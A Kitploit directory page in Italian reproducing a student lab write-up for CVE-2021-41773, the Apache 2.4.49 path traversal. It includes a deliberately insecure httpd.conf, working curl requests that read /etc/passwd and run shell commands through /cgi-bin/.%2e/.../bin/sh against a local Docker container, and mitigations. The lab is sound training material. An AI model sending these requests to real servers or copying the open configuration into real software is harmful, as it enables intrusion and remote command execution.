Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Apache-CVE-2021-41773 — WHS 4기 이희수. Consegna del compito kr-vulhub. | Kitploit
Strumenti/GitHubGitHub/lheeeesoo/apache-cve-2021-41773
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHublheeeesoo/apache-cve-2021-41773

Apache-CVE-2021-41773

WHS 4기 이희수. Consegna del compito kr-vulhub.

Vedi Repository
1 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2021-41773 Apache HTTP Server Path Traversal

Contributori

이희수(@lheeeesoo)


Apache HTTP Server 2.4.49 presenta una vulnerabilità nel processo di normalizzazione dei percorsi URL, che non blocca correttamente i percorsi superiori codificati.

Un attaccante può utilizzare valori come .%2e per spostarsi al di fuori della directory che il server web è configurato per pubblicare. In ambienti in cui è consentito l'accesso a directory esterne, i file interni del server possono essere esposti e, se la funzionalità CGI è abilitata, è possibile eseguire un comando remoto avviando una shell di sistema.

Questo progetto utilizza Docker per costruire un ambiente Apache HTTP Server 2.4.49 e riproduce i seguenti due aspetti:

  • Esposizione del file /etc/passwd tramite Path Traversal
  • Esecuzione remota di comandi tramite CGI

Struttura del progetto

root@kitploit:~
CVE-2021-41773/
├── Dockerfile
├── docker-compose.yml
├── README.md
├── apache/
│   └── httpd.conf
├── web/
│   └── index.html
├── scripts/
│   ├── poc.sh
│   └── poc.ps1
└── screenshots/
    ├── 01-container-status.png
    ├── 02-normal-service.png
    ├── 03-apache-version.png
    ├── 04-path-traversal.png
    ├── 05-rce-whoami.png
    └── 06-poc-script.png

Configurazione dell'ambiente

Eseguire i seguenti comandi per creare l'immagine Docker e avviare il contenitore:

root@kitploit:~
docker compose up -d --build

Verificare lo stato di esecuzione del contenitore con:

root@kitploit:~
docker ps

Nel risultato, il contenitore dovrebbe essere nello stato Up e la porta 8080 dell'host dovrebbe essere collegata alla porta 80 del contenitore.


Verifica del servizio web normale

Accedere al seguente indirizzo nel browser:

root@kitploit:~
http://localhost:8080

La pagina web di Apache viene visualizzata correttamente, confermando la corretta configurazione dell'ambiente.


Verifica della versione di Apache

Controllare la versione di Apache all'interno del contenitore con:

root@kitploit:~
docker compose exec web /usr/local/apache2/bin/httpd -v

Risultato:

root@kitploit:~
Server version: Apache/2.4.49 (Unix)

Viene confermato che è in esecuzione Apache HTTP Server 2.4.49, affetto dalla vulnerabilità CVE-2021-41773.


Condizioni di vulnerabilità

In questo ambiente di laboratorio sono applicate le seguenti condizioni:

  • Utilizzo di Apache HTTP Server 2.4.49
  • Utilizzo dei percorsi Alias e ScriptAlias
  • Accesso consentito a directory al di fuori della radice web
  • Funzionalità CGI abilitata
  • Il processo Apache viene eseguito con l'utente daemon

La configurazione di Apache permette l'accesso al percorso radice del filesystem:

root@kitploit:~
<Directory "/">
    AllowOverride None
    Require all granted
</Directory>

Inoltre, per l'esecuzione di CGI è stata utilizzata la seguente configurazione:

root@kitploit:~
ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/"

<Directory "/usr/local/apache2/cgi-bin">
    AllowOverride None
    Options +ExecCGI
    Require all granted
</Directory>

Path Traversal

La seguente richiesta utilizza un percorso superiore codificato per accedere al file /etc/passwd all'interno del contenitore:

root@kitploit:~
curl --path-as-is "http://localhost:8080/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"

.%2e viene decodificato in ...

Pertanto, l'attaccante può risalire più volte alla directory superiore a partire dal percorso Alias per accedere al file /etc/passwd.

Risultato:

root@kitploit:~
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

Il file /etc/passwd contiene informazioni sugli account di sistema come nome utente, UID, GID, directory home e shell di login.

Sebbene non contenga password reali, un utente web esterno non dovrebbe poter accedere a file interni del server, ma questa richiesta HTTP li espone, confermando una vulnerabilità di esposizione delle informazioni.

In un ambiente di produzione, potrebbero essere esposte informazioni sensibili come:

  • File di configurazione dell'applicazione
  • Informazioni di connessione al database
  • Chiavi API e credenziali
  • Codice sorgente
  • File di log
  • Certificati e chiavi private

Esecuzione di comandi tramite CGI

La seguente richiesta utilizza Path Traversal per accedere a /bin/sh ed eseguire il comando whoami:

root@kitploit:~
curl -s --path-as-is \
  -d "echo Content-Type: text/plain; echo; whoami" \
  "http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"

Risultato:

root@kitploit:~
daemon

Poiché il percorso /cgi-bin/ è configurato con ScriptAlias, Apache non legge semplicemente il file, ma lo esegue come programma CGI.

Accedendo a /bin/sh tramite Path Traversal e inviando comandi nel corpo della richiesta, questi vengono eseguiti con i permessi dell'utente di esecuzione di Apache.

In questo ambiente, Apache viene eseguito con il seguente utente:

root@kitploit:~
User daemon
Group daemon

Pertanto, il risultato del comando è stato emesso dall'utente daemon.

Sebbene non si tratti di root, potrebbero verificarsi ulteriori minacce come:

  • Modifica dei file dell'applicazione web
  • Furto di file di configurazione e credenziali
  • Download ed esecuzione di file dannosi
  • Esplorazione della rete interna
  • Escalation dei privilegi tramite altre vulnerabilità

Esecuzione dello script PoC

Invece di eseguire comandi singoli, è possibile utilizzare lo script PoC per verificare il servizio normale, Path Traversal e l'esecuzione remota di comandi in un unico passaggio.

PowerShell

root@kitploit:~
powershell -ExecutionPolicy Bypass -File .\scripts\poc.ps1

Bash

root@kitploit:~
bash scripts/poc.sh

Lo script verifica i seguenti elementi in ordine:

root@kitploit:~
[1] Verifica del servizio normale
[2] Accesso a /etc/passwd tramite Path Traversal
[3] Esecuzione del comando id tramite CGI


Contromisure

Aggiornamento della versione di Apache

Non utilizzare Apache HTTP Server 2.4.49; aggiornare all'ultima versione con le patch di sicurezza.

Blocco dell'accesso alla directory radice

In ambienti di produzione, bloccare per impostazione predefinita l'accesso al percorso radice del filesystem.

root@kitploit:~
<Directory "/">
    Require all denied
</Directory>

Consentire solo le directory web necessarie:

root@kitploit:~
<Directory "/usr/local/apache2/htdocs">
    Require all granted
</Directory>

Disabilitare CGI non necessari

Se la funzionalità CGI non è necessaria, disabilitare i seguenti componenti:

  • mod_cgi
  • ScriptAlias
  • ExecCGI

Applicare il principio del minimo privilegio

Eseguire il processo Apache con un account di servizio limitato, non root, e ridurre al minimo i file e le directory a cui tale account può accedere.

Monitoraggio dei log

Rilevare e bloccare richieste che includono percorsi anomali come:

root@kitploit:~
.%2e
%2e%2e
/cgi-bin/

Arresto dell'ambiente

root@kitploit:~
docker compose down

Conclusione

In questo laboratorio, è stato costruito Apache HTTP Server 2.4.49 utilizzando un Dockerfile e configurato un ambiente vulnerabile riproducibile tramite Docker Compose.

È stata verificata l'esposizione del file /etc/passwd all'interno del contenitore, a cui un utente web normale non dovrebbe poter accedere, tramite una richiesta di Path Traversal.

Inoltre, in un ambiente con CGI abilitato, è stato possibile accedere a /bin/sh ed eseguire comandi di sistema con i permessi dell'utente daemon di esecuzione di Apache.

Ciò dimostra che CVE-2021-41773 non è solo una semplice esposizione di percorso, ma può portare all'esecuzione remota di comandi a seconda della configurazione dell'ambiente.


Riferimenti

  • Apache HTTP Server Security Vulnerabilities
  • NVD CVE-2021-41773
  • Apache HTTP Server URL Mapping Documentation
  • Apache CGI Documentation
Scarica lo strumento